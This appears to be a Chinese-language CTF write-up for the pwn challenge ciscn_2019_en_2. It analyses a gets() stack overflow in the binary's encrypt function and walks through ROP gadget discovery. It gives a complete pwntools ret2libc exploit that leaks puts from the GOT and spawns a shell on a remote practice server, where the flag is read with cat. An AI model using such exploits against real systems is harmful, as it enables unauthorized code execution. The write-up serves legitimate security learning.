【pwn做题记录】ciscn_2019_en_2 1
例题:ciscn_2019_en_2 1
首先检查一下文件
C:\Users\A\Downloads>checksec ciscn_2019_en_2
[*] 'C:\\Users\\A\\Downloads\\ciscn_2019_en_2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
- 64位程序,小端序
- GOT表只读
- 没有栈保护
- 栈不可执行
- 地址固定
- 保留了字符表和调试信息
思路分析
用IDA打开,看一下main函数
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h] BYREF
init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}
由于程序有点长,也不好懂,所以直接定位到可以感觉可以注入的地方
__isoc99_scanf("%d", &v4);
但是这里用的是%d,仅写入固定大小的 int 变量。
运行一下程序

显然是一个加密解密的操作。我们看一下感觉比较重要的加密函数encrypt()
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xCu;
}
else
{
s[x] ^= 0xDu;
}
}
else
{
s[x] ^= 0xEu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}
- 发现注入点:gets(s);可以尝试栈溢出
- while循环这里应该是对s的加密过程,因此要绕过
- 绕过条件:v0 >= strlen(s),而v0不知道多少(默认很小就行了)
- strlen()函数的原理是读取字符串到
\x00的时候停止,所以可以用00截断绕过 - 最后的return puts(s);根据运行程序的结果,应该是打印加密后的结果
再看看程序有没有system,/bin/sh,sh,syscall等,发现都没有。
因此我们的思路很清晰了,由于这是一个动态链接的程序,所以:
- 先输入1,选择加密
- 接着输入"\x00 + 垃圾数据 + 打印put@got + 返回到main",暴露got地址,用于动态链接查询;返回main,用于二次注入。
- 接着二次注入,由于回到了main函数,所以输入1,选择加密
- 在输入"\x00 + 垃圾数据 + system(/bin/sh)",就可以得到flag了
在思路分析的过程中,发现需要给函数传参,由于这是64位程序,所以需要获得pop_rdi_ret的gadget(顺便找一下有没有ret,用于解决栈对齐问题):
┌──(venv)─(kali㉿kali)-[~/Desktop/ctf/pwn/attack]
└─$ ROPgadget --binary ciscn_2019_en_2 --only "pop|ret" | grep "rdi"
0x0000000000400c83 : pop rdi ; ret
┌──(venv)─(kali㉿kali)-[~/Desktop/ctf/pwn/attack]
└─$ ROPgadget --binary ciscn_2019_en_2 --only "pop|ret" | grep "ret"
0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c80 : pop r14 ; pop r15 ; ret
0x0000000000400c82 : pop r15 ; ret
0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004007f0 : pop rbp ; ret
0x0000000000400aec : pop rbx ; pop rbp ; ret
0x0000000000400c83 : pop rdi ; ret
0x0000000000400c81 : pop rsi ; pop r15 ; ret
0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004006b9 : ret
0x00000000004008ca : ret 0x2017
0x0000000000400962 : ret 0x458b
0x00000000004009c5 : ret 0xbf02
因此我们选择:
0x0000000000400c83 : pop rdi ; ret
0x00000000004006b9 : ret
攻击脚本
from pwn import *
import sys
sys.path.append("../tools/LibcSearcher")
from LibcSearcher import *
#context.log_level = 'debug'
file = "./ciscn_2019_en_2"
elf = ELF(file)
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main = elf.symbols["main"]
pop_rdi_ret = 0x400c83
ret = 0x4006b9
offset = 0x50 + 8
local = 2
if local == 1:
io = process(file)
else:
io = remote("node5.buuoj.cn",28437)
# 选择加密方式
pay = b'1'
io.recvuntil(b"choice!\n")
io.sendline(pay)
# 由于\0也是我们的垃圾数据之一,所以offset - 1
pay = b'\0' + b'a' * (offset - 1) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main)
io.recvuntil(b"encrypted\n")
io.sendline(pay)
io.recvline() # 接收Ciphertext
io.recvline() # 接收加密结果
puts = u64(io.recvline()[:-1].ljust(8,b'\0')) # 由于recvline会有个\n,所以需要用切片截取一下
print(hex(puts))
libc = LibcSearcher("puts",puts)
libc_base = puts - libc.dump("puts")
system = libc_base + libc.dump("system")
bin_sh = libc_base + libc.dump("str_bin_sh")
pay = b'1'
io.recvuntil(b"choice!\n")
io.sendline(pay)
# 不加ret的时候攻击不了,因此存在栈对齐,所以我们给他加个ret,平衡一下
pay = b'\0' + b'a' * (offset - 1) + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system)
io.recvuntil(b"encrypted\n")
io.sendline(pay)
io.interactive()
就可以得到flag了:
点击查看代码
[+] Opening connection to node5.buuoj.cn on port 28437: Done
0x7f8b0b9f49c0
Multi Results:
0: ubuntu-old-glibc (id libc6_2.3.6-0ubuntu20_i386_2)
1: ubuntu-glibc (id libc6_2.27-3ubuntu1_amd64)
Please supply more info using
add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:1
[+] ubuntu-glibc (id libc6_2.27-3ubuntu1_amd64) be choosed.
[*] Switching to interactive mode
Ciphertext
$ ls
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
flag{4dcaa9a2-035d-46de-a230-d4ebf5c3dd04}
$
[*] Closed connection to node5.buuoj.cn port 28437
疑惑点
为什么对gets(s)进行栈溢出,却还会执行下面的加密过程?
因为s这个数组是在encrypt()里定义的,我们输入超长的数据,本质上是让s不断变大,直到覆盖了encrypt的返回地址,不是覆盖gets的返回地址。因此需要执行完encrypt后,才会调用我们栈溢出后的payload
为什么这里选择加密方式使用b'1',而不是其他?
scanf 函数的 %d 格式说明符用于读取 ASCII 字符形式的整数(即文本模式的数字)。它的解析逻辑是:
从输入流中逐个读取字符,识别出 0-9 这些 ASCII 字符组成的数字序列(如 "1"、"123"),然后将其转换为对应的整数(如 1、123),最终存入 v4 变量。
b'1'是一个单字节的ASCII字符,对应二进制是0x31。当程序执行 scanf("%d", &v4) 时,会读取到这个 0x31 字符,识别为数字 1,并将 v4 的值设为 1,从而触发 encrypt() 函数(符合程序逻辑:v4 == 1 时调用加密功能)。
而p64(1)是发送一个b'\x01\x00\x00\x00\x00\x00\x00\x00',相当于发送了0x01,而0x01不是一个可见ASCII字符,所以不能用p64()发送。
而p64(0x31)不行的原因是因为发送出去的0x31后面紧跟着0x00,scanf读取到0x00停止,随后 getchar() 会读取缓冲区中剩余的第一个字符(目的是清除 scanf 未处理的换行符,避免影响下一次输入)。虽然程序收到的是'1',但是getchar()发现剩余字符有0x00,因此会导致下次输入异常。

浙公网安备 33010602011771号